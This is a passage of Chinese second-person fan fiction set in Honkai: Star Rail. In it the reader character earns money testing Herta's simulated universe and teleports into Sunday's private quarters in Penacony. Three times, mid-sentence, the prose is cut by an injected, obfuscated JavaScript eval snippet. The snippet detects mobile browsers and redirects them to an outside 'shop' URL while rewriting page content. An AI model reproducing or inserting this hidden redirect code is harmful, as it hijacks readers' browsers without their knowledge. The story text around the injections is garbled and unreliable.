和你所熟知的一样,自从确认你能接入模拟宇宙,能帮助天才们获取他们需要的数据,你拿回了模拟宇宙的测试工作,黑塔爽快地付了你第一笔工钱。往日里你最稀罕的星琼被你仔细收纳好,反倒是信用点更让你感到安心。 “我也可以请你们吃蛋糕了!”你大声宣布,砂金一个,拉帝奥一个,列车组共分一个。波提欧的行迹你难以捕捉,下次吧,下次一定。 “没想着存一点儿?”砂金听着你的零花钱分配计划,笑容里别有几分微妙的慈爱,“理财产品,或者大彩票?” 哈哈,大彩票。你笑容凝固,砂金伸手在你眼前晃,很快就被你捉住。 “我没事。”你的声音里有些淡淡的疲惫,模拟宇宙里战绩点和血条消失的场景还在你眼前,“想起了一些不愉快的事。” 砂金点头:“你做得对,不要赌。” “蛋糕……”拉帝奥忽然笑了,“什么样的蛋糕,蓝莓蛋糕?” 你倒没有留意拉帝奥在甜品上的偏好,他主动选择吃甜品的时候并不多,“那就吃蓝莓的?” 你小声试探。 拉帝奥目光闪动了两下。 “教授,你是一块蓝莓小蛋糕——”你在模拟宇宙里的豪言壮语,大黑塔一字不落地听完,她哼笑了一声,“拉帝奥,你这学生挺有意思。我说,我什么时候也能有个这么有趣的学生?” “别打她的主意。”拉帝奥替你拒绝。 “诶——别急着替她拒绝。多个老师多条路,我不也挺好的吗?”黑塔理直气壮。 ……看来你同黑塔签协议的时候并没有读完条款。 拉帝奥回忆了一下你们协议中的金额,你只管开开心心把钱往口袋里装,根本没有意识到多的那一部分是从哪来的:那是黑塔看你直播的打赏。 “对宇宙和星神的探索姑且不说,这孩子进公司发展娱乐估计很有看头。”那时黑塔看着你狼狈地躲光线,追着扑满乱跑,爽快地炸大彩票。你拿到负面奇物的样子很沮丧,但你猛听天外大合唱抽十连的样子真的很靓仔。 黑塔关注你的进程原本是出于对新手的关照,但你在模拟宇宙里的表现实在很有看头,于是她拆开了一包爆米花,缓缓在屏幕面前坐下。 此时此地,拉帝奥自然无法如黑塔那边同你复述你“教授,你是一块蓝莓小蛋糕”的评价,他只颇有深意地看了你一眼。 扫兴的大人才会在这时候说“我不喜欢吃甜食”“你就那么点零花钱”。 “好。”于是拉帝奥说。 说你一点学业压力都没有,这自然也不太可能。 但你这样说,同门的师兄弟姐妹九成要拿幽怨的眼神看着你:你把背坐标+当宝x梦训练师叫学业压力?吭哧吭哧计算是他们和扑满的活儿,再不然也是思考人生,从诗词歌赋……啊不,从宇宙起源思考到人生哲学,讨论哲学三问。但这种时候你在干什么?你在和扑满吃吃喝喝。 你俩多少也算个奇观。你原先旁听拉帝奥的数学课,有在昏昏欲睡和恐惧到近乎像扑满一样开大逃跑的趋势,但此时的你已经全无压力。 ——扑满看着小黑板,在黑洞面前急速计算,而你在利用谐音背坐标,你俩也算一同努力,成为教室里的一道奇观。每当这个时候,你那数学系的师兄都会愈发奋发向上,扑满都在努力,他还有什么理由不上进! 你看着自我鞭策的师兄欲言又止,这是人家扑满保命用的玩意儿,它这是求生。 其实你也不是没有考虑过让扑满和你一起背坐标,但一来扑满很难发出叫声以外的声音,使用类似于精神力的冥想显然有些过于难为扑满,它的思路里很快会铺满蚊香圈。 你爱莫能助,只是看着扑满飞速刷题。 不强迫扑满学习,拦不住扑满非要算题。直到如今,你依然会升起一些强迫扑满学习的微妙罪恶感——不不不,这完全不对,扑满本身也要计算。就算你没有“领养”它,它也会在仙舟的角落里激情地同阿尔法、西格玛打交道。 原来真有物种生来就爱学习啊。你轻声感慨。 ——这也正是拉帝奥一口否定大黑塔提出的“既然智械也能社交和思考,那你也有可能真的是扑满”假说的原因:你根本不喜欢算数学题。 按理说你既然采取了这样的学习方式,你的学习历程应该格外轻松才对。但架不住黑塔女士对你的额外关怀。 “你醒啦。”魔女给才从模拟宇宙中醒来的你一整沓纸,“坐标。新鲜的,热乎着,试试看。” ——有时候你真的很想知道黑塔从哪搞来的那么多坐标。 你拿着黑塔给的坐标在空间站里乱窜,然后是拿着黑塔给的奇物替她收集观测数据。 拿着大大小小的奇物乱跑是真的有点累人,但黑塔给的价格是真的很美丽,于是你高高兴兴地挣零花钱。 总之,扑满研究倒是在快速推进,进展和目标倒也符合拉帝奥最初的预期:能让你在面临危险的时候有机会飞速逃生。但问题倒也有几个:在这方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496679|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,你的导师到底是拉帝奥还是黑塔,是黑塔研究还是你研究?黑塔不语,只是一味给你推坐标,印证猜想。 你也不知道一共收集了多少实验数据:从简单地传送到滴x代跑,从简单地送东西,到只改变一个单位,甚至0.5个单位的微操。黑塔有的是奇物和手段,她拿着数据,心情大好。 “现在你跑腿方便,找人总是不够方便的。人在宇宙中移动,坐标也会跟着不断变化。但如果有一个标准,能够将一个人的个人坐标确定下来——这么看着我?没有什么不可能。有我在,你就放心好了。” 你热泪盈眶,在此时你终于模糊地想起一个事实:拉帝奥带你来空间站找黑塔,原本不是为了解决扑满研究的问题。如果训练扑满,又如何能让你快速掌握这个技能,原本是拉帝奥要自己考量的。他带你来找黑塔,原本是为了你口中的模拟宇宙,也为了一切故事的开始。 然而开拓的技能还没有点亮,扑满的相关逻辑却被黑塔兴致勃勃地点到飞起。 ——这倒也没什么不好。 说到给拉帝奥当学生,你原本就有几手准备。 认真学习,能被带飞当然是上上之选,不行的话中途放你出去转个人文社科也不是不行,找亲历者做采访研究历史还是不难的,比如研究一下罗浮的持明龙尊,又比如研究一下星琼列车的开拓史。 当然,你也不是很想离开真理医生——就是不知道拉帝奥教授能不能为了你再考一个社会学的博士学位。帮帮你,拉帝奥教授! 阮梅拈起一片杏花糕。 她远程接入模拟宇宙,听取喵声一片。 猫糕每次都会喵喵喵,这倒说不上奇怪,但奇怪的是,这次猫糕的叫声与平时都不太相同。 “可爱的小猫咪,可爱的小猫咪。”你笑眯眯,把又香又软的猫糕连糕体一并举起来,又蹭又吸,还学猫糕叫。猫糕只是香香软软的小点心猫,很快就被你吸得晕晕乎乎。 阮梅沉默了一下。当初设计模拟宇宙的时候有这个环节吗? 数据猫糕抖动了两下,额外掉出两块果冻,“meow、meow——”(这下是真的没有了,不要再蹭人家了) “哇,小猫糕——”你两眼放光,“谁是姐姐的小宝贝呀,怎么还送姐姐盲盒呀,什么乖乖小猫,我亲亲亲亲。” 于是小小的猫糕红着脸,被你继续又蹭又亲。 阮梅把杏花糕放了回去,她戳开通讯仪上的黑塔头像:“模拟宇宙里的数据是正常状态吗?” “如果你是说加成的随机掉落,那你放心,那是我专门加的彩蛋。”黑塔的信息来得极快,“怎么样,多有意思呀!” “嗯——”阮梅少有的沉吟了片刻。身为猫糕的创造者,也算得上它们的母亲。但猫糕也只是她数不清的造物之一。她知道这些小家伙黏她,但不曾想到会有一天在模拟宇宙看到你对模拟猫糕又夸又亲。 阮梅思考了一下猫糕的反应,那并非不适和抗拒。 “倒是有点意思。”这话没有指明,有意思的到底是你对模拟猫糕的互动,还是猫糕对你的反应。 但黑塔不在乎,有意思就行。 “你是不知道,那孩子玩的模拟宇宙,和咱们设计的又不太一样,我很期待她整出花样的那一天。”黑塔似乎有些意犹未尽——拉帝奥砸人、黑塔小人转圈圈送钻石,只有这些可不够,“诶,你能想象我的人偶天天喊着‘这么大的钻石,送给你’的样子吗?” “……不能。”阮梅看似温婉柔和,却并非会犹豫的性格,她今晚沉默和思考的次数,比平时一个星期加起来都要多。但这也不能怪阮梅,怪,这实在是太怪了。 “那有点可惜。”黑塔想起了你描述中的战斗系统,在战斗系统里,你认识的朋友们将上演非常精彩的动画,同时进入回合制的行动模式。但你说的战斗系统偏偏没有和她亲手制作的模拟宇宙结合起来,导致她只能看你在游戏和事件环节的精彩表现,不能亲眼看一看你究竟怎么完成战斗。 但你眼含泪水,情绪饱满地请求她把奇巧零食实装到办公室的样子还在黑塔眼前。 “战技点,呜呜,我的战技点。黑塔女士,退一万步来说,咱们办公室里面为什么就不能批发奇巧零食呢?” 你第一次见黑塔的时候多拘谨,现在已经逐渐玩出花样,玩出自我了。 ——这正是『开拓』的标志。 “阮梅。”黑塔放轻了声音,“这个世界上,可能又要多一名开拓者了。” 9. 星期日说听你解释 “……我可以解释。”你裹着匹诺康尼特供版小外套,对着星期日欲言又止。 “你说,我在听。”身侧的青年温温柔柔。 睡前,你勤勤恳恳背黑塔给的坐标。就在你激情温习数据的时候,脑海中却忽然闪现了一个陌生的坐标。你一时好奇,多看了一眼,人就到匹诺康尼来了。 你是说过你可以免票进匹诺康尼没错,但是没人告诉你真来匹诺康尼啊! 你穿着睡衣,坐在星期日平日里休憩的软椅上,同正打算小憩的星期日面面相觑。 ——你现在走还来得及吗?你闭上双眼。 很难评价这个坐标到底算安全还是危险——在暗流汹涌的匹诺康尼,其他区域的安全性完全没有保障,可是星期日他测谎,是真喊三重面相烙人舌头啊! 你此刻无心欣赏帅哥,只想在星期日开始吟唱“三重面相的灵魂”之前成功开溜。 或许是求生欲过于强烈,熟悉的地图页面终于在你眼前展现出来。 你热泪盈眶,准备美美传送,发现除了眼前的房间,其他的地图都是灰色的。 哈哈,是剧情锁定,剧情锁地图啦! 这对吗?在对你展开救援之前,第一个解锁的游戏机制居然是地图+剧情锁,星铁,这对吗? 总有勇敢的开拓者,敢于面对三重面相的威光——不,这种事还是不要发生的好。 你积极自救。 “我知道你现在觉得我很可疑……”来不及弄清现在究竟是哪个时间点,你勇猛地A了上去,“姑且确认一下,你会对我用测谎吗?” “呵。”青年弯起眼睛笑了,“虽然不知道你为什么觉得我会测谎——但,既然这样问我,你已经准备要对我说谎了?” 好漂亮。好危险。好漂亮。好危险。 “三……”青年好整以暇,开始某个你极为熟悉的前摇,你上前一步,抬手捂住星期日的嘴。 “哥,我叫你一声哥,咱有话好好说。”你飞速开口,“啊,当然,我知道你有自己的妹妹,这只是礼节性的称呼,表示礼貌和尊重——但话又说回来了,你真的不能让我再试探一下吗?” 同谐和秩序的力量,其实未必要宣之于语言。但你这么怕他开口,星期日也来了点兴趣。 ——即使是以专业的眼光来看,你实在不构成什么威胁。 你睡衣的袖子看上去很柔软,还带着点香。星期日分不清那香气是否来自于衣物。 在他的休憩处,你倒像是准备休息的主人。这点反差,或者说是倒错,让星期日有点想笑。人他自然不会放走,但就这般同你对谈,多少有点失了礼数。 他无意惊动歌斐木,便取了自己的外套让你披上。 即使是他那些短款的常服,在你身上也显得有点宽大。陌生的香气被掩下去,他这才能得体地同你对谈。 星期日注视着你,注视着他一贯循规蹈矩的生活中,一点灵巧的、鲜活的、小小的意外。 鲜花的摆放是45°角,餐布要一尘不染、铺得严丝合缝,梦泡里的内容遵循商业流行的内容,和其他家系扯皮有惯用的话术,而他在无数个日夜里,高举代表净化的礼器,他总是在说“愿祂宽恕你。” ——怎么会有人不喜欢玩过家家呢。小时候的星期日说。 万物一丝不苟,尽在掌控,任由他在指尖摆弄,这是怎样的成就感?可以模拟出来的内容实在太多了。 ——怎么会有人喜欢玩过家家呢。逐渐成年的星期日想。 能够掌控的东西实在太多了。他会疲惫,也觉得繁琐,但他不动声色,尽力将一切打理得一丝不苟。 他大可以因苛刻和自律而著称,断绝任何甜蜜的、带来幻想的滋味,在梦里也吃些干涩苦口的点心,可真的有一杯清新的果汁汽水摆在旁边,像是他一个人独享的惊喜和秘密,一贯苛待自己的他,也无法不为之动容。 星期日没有推开你。像是你飞速捂嘴的动作起到了效果,他眨了眨眼。 “说话,哥,说话。”你有些心虚。 ……你捂着他的嘴,你想让他怎样说话?星期日没打算等你转过弯来,他缓缓张口,你掌心的肌肉随之被牵动。 他自然不太能发出声音,涌到你掌心的是灼热的气流。 你大惊失色,飞速收回手,就看到星期日有点狡黠地笑了。 这个笑容,你仔细琢磨了三五秒,按照你习惯的方式来表达,应该被视为一个“猫猫嘴”笑容,但想来让星期日正经在你面前笑成猫猫嘴,难度着实太高了一些。 “你想试探什么?”星期日的耳羽轻轻晃了晃,慵懒中透着些从容。 “试探你的接受程度。”掌心还热乎,你有些直愣愣地,“视你能的接受程度,决定是合盘托出,还是增加剧本——包括并不限于扮演知更鸟小姐的粉丝,或者你的狂热追求者。” “……狂热追求者?” 星期日的声音听起来有些惊讶,你一脸正派,对他点了点头,“依你的美貌程度,实属应当。” “呵。”星期日打了一个响指,不重,却清晰可闻。 拿回嘴巴的使用权,你如梦初醒,瑟瑟发抖——这人不仅能上测谎仪,还能上吐真剂,但你寻思你也没喝他给的东西啊? 唱诗班的男指挥家、橡木家系的家主、匹诺康尼的心理咨询师,竟恐怖如斯! 你的惊讶姑且不论,星期日唇边的笑容却又真切了两分,“现在呢?” “……你不讲武德。”你虚弱控诉。 “还狂热吗?”他问。 话都被他说了,你还能说什么?你索性飞速躺倒在他的软榻上,以装睡逃避沉默和尴尬。 “可惜——”你听星期日矜持地端起腔调,“本来没打算将你交出去的,但既然在我这里晕过去,不请人救护,实在有违待客的礼仪……” 你睁眼,着实挣扎了几秒:没想好是“邦邦”给星期日两拳,还是干脆亲他两口之间,好让他明白狂热追求者的可怕。 ……下不去手。也下不去口。 怪星期日实在生得好,但不能怪你还有些矜持——货真价实的那种,和某人端出来的腔调完全不一样。 “就算你不说话,我也有法子一探究竟。”他缓声说。 你不相信星期日没有看出来你在瞪他。你已经用力在睁眼睛了!这个人似乎丝毫不觉得自己展现出的掌控感和压迫感有什么不妥——他好像完全没有意识到你也需要自己的隐私空间。 星期日没有正式当过爱豆,不然你真的很想跟他合理探讨,什么叫正主需要适当远离粉丝生活。 这不应当,你只是一个颜粉……吧。 对美的怜爱,对他坚持理想的认可,对他的理性、敏锐识别、雷霆手段感到惊叹——你必须承认,你喜欢星期日,不止是因为他的脸。 “作为我的狂热粉丝,能和我心灵感应的机会,想必你一定不会拒绝吧?”青年美人含笑,这笑容纯良又温柔。 你怎么拒绝?你就问你怎么拒绝? 星期日这跳跃式的反转、突进式地拉近距离,让你不确定要拿出什么样的感情和姿态,你干脆完全放弃了表情管理。 那怎么呢,剧情里可没有心灵感应这一环啊!体验到即赚到,如果他再发动什么“三重面相的灵魂”,你也还有些后备手段: 知识改变命运。勤学苦记坐标的你,最后到底是在限定地图区域内来回横跳,还是干脆能从这片图上传送走,就视具体的效果而定了。 你的手腕绷紧,手指用力,任谁一看都能知道你在紧张。星期日暗自笑了,或许是因为对接下来的发展更有把握,他的心情又美妙了几分。 星期日靠近你一些,他仔细用秩序和同谐的力量包裹着自己的意识,沉入你的意识海中。 清透而凉爽。 星期日喟叹一声——他几乎不曾与人意识相接,一来,自他进入歌斐木的门下,不能被他人知道的事实在太多,少年的他与人贸然相接,难保会不会有什么心事被人看去。二来,即使不直接接触别人的意识,他也能感受到许多灵魂的污浊。 气息,言语,观念,情感。 他倾听他人所倾倒给他的一切,人们各怀心事,个别人会拿眼光打量他,挑剔的、评头论足的。他出席家族的会议和聚会,从站在歌斐木身侧,到单独拥有自己的席位,他看着他们一番勾心斗角,达成那些能见光的、不能见光的共识。后来,星期日面无表情地与人推杯换盏,杯中是无味的水,旁人径自在放纵中酒醉,言行愈发不堪入目。 星期日没有与他们交心的意愿,更别说灵魂交错。但他可以大概猜到他们灵魂的样子:一道棕色,代表他们不愿被他人探寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496680|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、利益交错的盘算,然后是或多或少的暴怒和空虚。 少年时期的星期日开始看清一些人,但还不能把自己的反馈按死在心里,于是在没有人看到的位置,少年的手半藏在袖口,微微用力。他虚虚抓向袖口,好像那里还存有什么能让他感到安全的信息。 但你不同。你像清冽的泉水,凉爽的溪流,澄澈中带着些甘甜。直觉早他一步做出了正确的决定,他的意识浸入其中,却只觉得安宁。 星期日不记得自己见过你。在他近乎循规蹈矩的旧忆中,在家族那仿佛带着面具的虚与委蛇里。 可你像春天的雨,即使是没见过的人,也愿意步入雨中。于是他把伞向虚空一掷,心情近乎雀跃。 “说话,哥。”你眨眼。 面前的青年半垂着眼,他将你的手虚虚托在手心,这动作你并不想要拒绝,但放在现在的你和他之间,有些过于亲昵。 “你不说话,我很尴尬。”你假装平静。 如果计划顺利的话,正在你识海里翻阅的星期日应该被你分去一些心思,免得他乱看乱翻。 说你一点也不紧张自然是假的——他心灵感应都用你身上了,总不可能是找你表白吧! “我听得见。”星期日似乎也很平静。 “既然是狂热粉丝,有什么是我不能知道的吗?”他问。 那可太多了。而且就算你是他的粉丝,知不知道要适度远离粉丝的个人生活?你也是需要有自己空间的! “呵。我看到了。”你思绪只起伏一瞬间,星期日便敏锐捕捉到和他相关的内容。以他作为锚点看匹诺康尼,自然有便利之处—— 也不是很便利。星期日开始微妙地沉默。 不得不说,比起光锥这样的片段,心灵感应还是权威多了。 匹诺康尼没有不能知道外界信息的这样那样的禁忌,于是剧情洪流一般涌进星期日的脑海,他消化了一番,遂斟酌着开口:“你说,开拓者们用列车的力量撞击我的护盾,这是否也有些不讲武德?” 虽然,但是,他要不要看看自己的盾有多厚?周天哥,你在自己的地盘开大盾,盾条蹭蹭长,这难道就光彩么? “抱歉,用你的话来形容,这对我来说,实在是超前了一点……”星期日扶着额角,他似乎有点苦恼。 “那么,作为喜欢我的人。”星期日想了想在你意识中看到的MMD,还有他个人的cut,缓缓开口,“你如何看待你所见证的那场战斗?那个时候,你的心情似乎格外复杂。” “如果是你的话,你会想对我动手吗?”他轻轻合眼。 “你要听实话还是假话?”你自然不可能在这个条件下再给星期日胡编,遂直白起来,“会的。虽然对‘哲学的胎儿’挑挑拣拣,或许可能实在是有点不太礼貌,但任何一个大帅哥要选择那样一个难看的装甲,我都会觉得痛心——何况你明明是打算拿那副形态常驻吧!” ‘你美得实在权威,但我对你在机甲方面的审美实在颇有微词。’Q版的你在自己识海里,给他打了一个抱着手臂的表情包。 ‘但是,被打败的时候一定很疼吧……’你忽然不吭声了,心声也小了不少,只隐隐带出来一点回响。 漂亮的、优雅的、骄傲的人,开始的时候你看星期日与砂金博弈,你觉得他有点凶,甚至还有点怕他。 “我本来想给列车或者公司打电话,以证明我并不可疑。”你望着星期日,语气坦然,视线却因为一心二用,显得有点呆,“但他们都不是你的客人。” 不得不说,你视作朋友的这些人,在此时的星期日这里,姑且还只能划分为:不熟的人、危险的家伙和敌人。 星期日没有说话。 该说测谎仪有测谎仪的好处。从阿格莱雅的金线到星期日的检验,他们总有些办法分辨实话与谎言,验证一些话语的诚实可信。要不是听起来实在是又疼又吓人,你实在是不想走这么一遭,你还真想听听星期日听到真相睁大双眼的样子。 ——听起来让人很难想象的话,偏偏还都是实话。 这对吗.jpg(星期日.ver) 你们的意识交叠,你又怎么会对星期日的心情毫无察觉? 你的声音倏然镇静下来,带着些反客为主的跃跃欲试,“所以你要怎么待我?让我成为囚徒,还是奉为座上宾?” 10. 你和橡木家主不熟吧? 星期日没打算让你当囚徒,但他显然也不能当着梦主的面,把你奉为座上宾。 “你可以就在这里,享受橡木家系家主的饮食待遇。”星期日温声建议。 星期日本人的饮食待遇?在梦里堪称苛待自己,连蛋糕都吃不甜又硬邦邦的那种吗?你认真思考一番,只觉得星期日的提议毫无诱惑力。 “请不要有这么失礼的想法。”星期日语气淡淡。 这很失礼?他星期日悄悄把你藏下,难道就礼貌吗? “这主要是由于匹诺康尼的情况实在太过复杂,实在没有那种……”星期日组织了一下语言,最后还是用上了你词汇库里的原词,“那种‘金屋藏娇’的意思。” 你“喔”了一声,语气莫名有些失望。 “如果条件允许的话,我很愿意让你体验一番足不出户,就能尝遍匹诺康尼特产的生活。”星期日似乎有点无奈,按他个人风格极为强烈的生活习惯,显然不太可能大点特点薯条、汽水、甜点,然后吃吃喝喝。 他更倾向于叫一个不甜的小蛋糕,一边专注,一边就着咖啡和小蛋糕思考一些棘手的工作。 “那我走?”你轻声建议,带着些对美食的渴望,“其实我在练习超能力来的。” “……真那么难吃?”星期日在脑海中转了一圈,居然没能找到一个让你不嫌弃他餐食的说法。 “也……”你试图安慰他,但是考虑到他现在还在类似于读心的状态,口头上的安慰也实在没什么意思。 “就是难吃。”你诚恳点头,“在我们那里,干燥开裂口感全无,又没有甜美滋味的,不能被称为蛋糕。” “老日。”你温柔地口出狂言,“你的脸实在权威,你个人的美丽毋庸置疑,但是咱们能不能换一个不那么难看的机甲,再吃点真正好吃的食物呢?你也总得给自己搭配一点帅哥应有的待遇啊。” “你似乎对我有些误解,”星期日欲言又止,“我对被毒打,尤其是被列车撞护盾实在没什么兴趣,既然已经知道了梦中人会做出那样的选择,我没有把一切再重演一次的理由。” “噢。”你点点头,跟星期日讨价还价,“外套送我。” 星期日缓缓打出一个问号。 “你那是什么表情?是你的外套,回头还是给你穿,你这量身定做要仔细打理的礼服,大小各方面也不太合适——”你有些不自在地同他解释,“我只是想要一件你的时装。你的衣服拿给你穿还是你的衣服,但你又获得了一套新时装……” 免费开时装开到他这来了,星期日冷静思考,试图理解你的想法,“你想的话,我可以换一套衣服见你。” “哎呀,那怎么能一样?”你连连摇头。 “你想有一套随时能给我换的衣服?”星期日很难理解这样的爱好,刚刚你的记忆深处似乎有一瞬间闪过了一些换装游戏,但里面配合换装的大多是些姑娘。 “倒也不止是衣服的事,要是能换一套语音就更好了。我是说,有不太一样的精神面貌,情绪、反应什么的……”你朝他比划。 “抱歉,你是说,用你熟悉的语言来表达,‘我cos我自己?’” “诶对对对。有这味儿了。” 不同的时期,不一样的一面?星期日轻轻摇头,“如果你想看到的,是过去某一个时期的我,那么作为调率者,调率的最终目的一定是和谐——不相同的、互相排斥而变扭的我,最后必将达成和解,我会成为我,而不是过去的某一个我。” 懂了,自己加的时装没有新的语音包。 你正打算略表遗憾,却听他缓缓开口,“但如果是不同的一面,有机会的话,倒是可以让你看看不同身份的我。” 家族的工作、聆听祈祷的工作,应对不同的需要,他也会表现出不同的一面。 “你是说,我可以看你工作?”你两眼放光,“那我就不困了——我是说,工作的男人最帅气……” “但现在不行,没确定的事情实在太多,你出现在梦主的视野里,只会横生波折。” 退一万步来说,歌斐木就不能今天下台吗? 星期日看起来很想再说点什么,你抢在他因为那位养父说话之前,双手捧住他的手,“那你喊我。我的联系方式是——” 你就准备离开匹诺康尼了? 星期日看着你写给他的联系方式,目光深沉,他平时的伙食是有差到让你连夜逃离的程度吗? “其实主要是因为,我的朋友还等着我帮忙测试数据,她给的实在太多了。”星期日看起来有点失落,你立刻搬出你的朋友黑塔。 “……刚刚还在说自己是我的狂热追求者。”此人声音又轻又柔,无端让这话染上了点嗔怪和埋怨,倒像是在撒娇了。 你的原话是这个吗?你说这是你准备扮演的角色!而且他真是对“知更鸟小姐的粉丝”这一身份只字不提啊。 “我不认为这是扮演,如果你去听她的演唱会,你也一定会喜欢她的歌声。” 星期日思忖片刻,忽地开口,“我需要一个凭证,证明你不会对匹诺康尼不利,以及,你会回到我的身边。” 扮演不扮演的姑且不提,你是真没见过谁对待狂热粉丝是这种态度的……他不是应该礼貌地保持距离,或者稍微害怕一下吗? 害怕什么?星期日垂眼看你,你裹着外套,像一个精心设计的洋娃娃。身高比例的玩偶娃娃虽然不多,但的确是有的。 就在去年生日,知更鸟写信给他说,她看到了很漂亮的娃娃,但在星际之间演唱穿梭,实在不方便携带,所以不曾留在身边。 几乎是在瞬间,星期日就确认了这一点:知更鸟见到你的话,她一定也会很喜欢。 有着清澈的灵魂。会试图伪装,一旦伪装不成功,就从掩盖着说怪话变成了坦诚地嘀嘀咕咕。对他来说有些过于“超前”,因而在他看来显得有点奇怪的想法和念头…… 匹诺康尼是梦星。人们总说,梦里什么都有。光阴荏苒,星期日的一双眼,见过太多的繁华与暗面,可他是第一次见你。 特别的,有趣的,亮眼而不自知。 “你不是很想念你的朋友吗?”星期日开口,“他们一定也很担心你,答应我的请求,然后与他们团聚。” 星期日示意你把手放在他的手心。 他呼唤星神,语气堪称虔诚和咏叹,“我要一个绝不欺瞒、也无法欺瞒的诺言。” 星期日要诺言要得庄重。 或许是因为星神的力量,又或许星期日原本也没少主持仪式,你竟然有些恍然。匹诺康尼是梦星,理论上也没有太多要在梦里结婚的需求,可你竟有一瞬间联想到婚仪。 ……果然还是星期日“回到我身边”的要求太过暧昧吧! 考虑到你过来的时候坐标是星期日的私人空间,很难说你俩谁更冒昧。这点迟疑打了个卷儿,被吞回你的喉咙里。 星期日牵着你的手,承诺完毕,他吻了你的手背。 “愿你的归途一切顺心。” “……他的耳羽会随着他的动作扑闪扑闪,非常可爱。哦,有时候还会笑出猫猫嘴,猫猫嘴你知道吗?就是这样——”你用手在空中画出一个弯曲的W。“还有,他的腰很细,但是以他平时的仪态和穿着,喔,也可能是由于别的,他们不太好盯着他的腰看。” 对面的人又沉默了两秒,忽然开口问你,“你不是来告解的吗?” 你看不清这位司铎的表情,只觉得他异常俊美,但你没有深想,继续描述那位可能是匹诺康尼最帅的男人。 “还有他跳舞的时候,无论是帅气的,还是可爱的风格都能驾驭,开始看的时候或许会有点不太习惯,但一旦看进去了,我只能说是别有风味——”你兴致勃勃。 “……但那位星期日——我就不用代称了,我知道你说的是他,据我所知,并不曾跳舞,公开的表演或许仅限于音乐。”司铎纠正你。 “诶。”你出声抗议,“只倾听,不批判。” “要我说我在匹诺康尼根本找不到几个同好,难以置信,偌大的匹诺康尼,连几个欣赏他美貌的人都找不着,好在还有你,不然我真的不知道还能跟谁说,非常好,缓解我的乡思。” “相思?”对面人的态度有些古怪,并有愈发奇怪的趋势,但你显然没有在意这一点,只是一味地和他聊天。 “嗯嗯,你知道乡思吧,乡思是很麻烦的,食不下咽,饭都要少吃好几口。但有了这么美丽的人在呢,我能含泪再多干两碗饭。” 司铎轻声吸了一口气,“你说,我有在听。” “你说,在你们匹诺康尼,追他有戏吗?”你忽然打听。 “你确定你要追他?那个人在的位置,看似风光,实则——抱歉,我不方便透露。但就我看来,在野地里奔跑的生灵,又何必仰慕囚笼中的雀鸟呢?”他有些欲言又止。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496681|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司铎呀,他才不是什么囚笼中的雀鸟呢,他星期日换了装,可以一个打十个。”你满不在意,“等等,司铎?司铎——那不就是……” 有什么被构造出的场域,猛然在你身边褪去。 “看来你知道的还不少。你或许认识我,橡木家系的家主星期日。”正主乖巧地坐在自己的办公桌前,目光审慎里带着些探究,“你身上有特别的气息,我不得不加以查探,贸然请你入梦,抱歉。” “你的言辞十分精彩,但我不认为我会跳‘别有风味’的‘可爱舞蹈’。” 这么说吧,如果你不是刚从梦里醒来,还没有把前因后果完整读取一遍,姑且还只能凭借有限的记忆和本能回应,你可能会迅速意识到星期日的反应有点奇怪。他这样子,像是和你第一次见。 但你刚从一个梦里醒来,并且意识到你刚刚是在和刻意隐藏身份的正主暴言暴语。 按照你的本意,你会感到抱歉,因为你其实无意惊扰星期日,不难猜出刚刚他那异常的沉默,反应着当事人内心是怎样的震撼。 但是! 那能怪你吗?是你想当着星期日本人豪言壮语吗?他橡木家系家主要查匹诺康尼编织梦境,是他故意不让你认出来,是他察觉到与你有交集,故意把话题往自己身上引,就不能怪你梦到哪句说哪句了吧?把二创MMD的记忆也调了出来,这不是很正常的吗? 说到哪里了? 喔,MMD的女团舞蹈,但星期日跳舞。 对的,你知道星期日不会跳女团舞蹈。但是那是MMD,那就由不得他了。 “什么那就由不得……?”控梦的后劲还没有完全过去,星期日听着你小声嘀咕,顺着你的话发问。 “没什么没什么,这事闹的。匹诺康尼谁不认识橡木家系的家主,但你看咱俩认识吗?要不你就当今天是一场奇遇——” “……你手里还拿着‘我’的衣服。”星期日放轻声音。 “……”你已经准备了几个版本的漂亮话,诸如“青山不改,绿水长流,后会有期”之类的,但是衣服的事儿一出来,你恐怕就非得给人解释清楚了。 哪来的衣服来着。噢,星期日的。 你哪来的星期日的衣服?噢,他给的。 他真给,他真大方啊! 没事的,那你可以处理好的,不就是短时间内,二度逃票进入匹诺康尼,顺便还体验了一个匹诺康尼祖传套娃吗? 你闭上眼睛,又睁开眼,快速整理线索。 ——你的的确确抱着手里的衣服,背出了黑塔办公室的坐标。 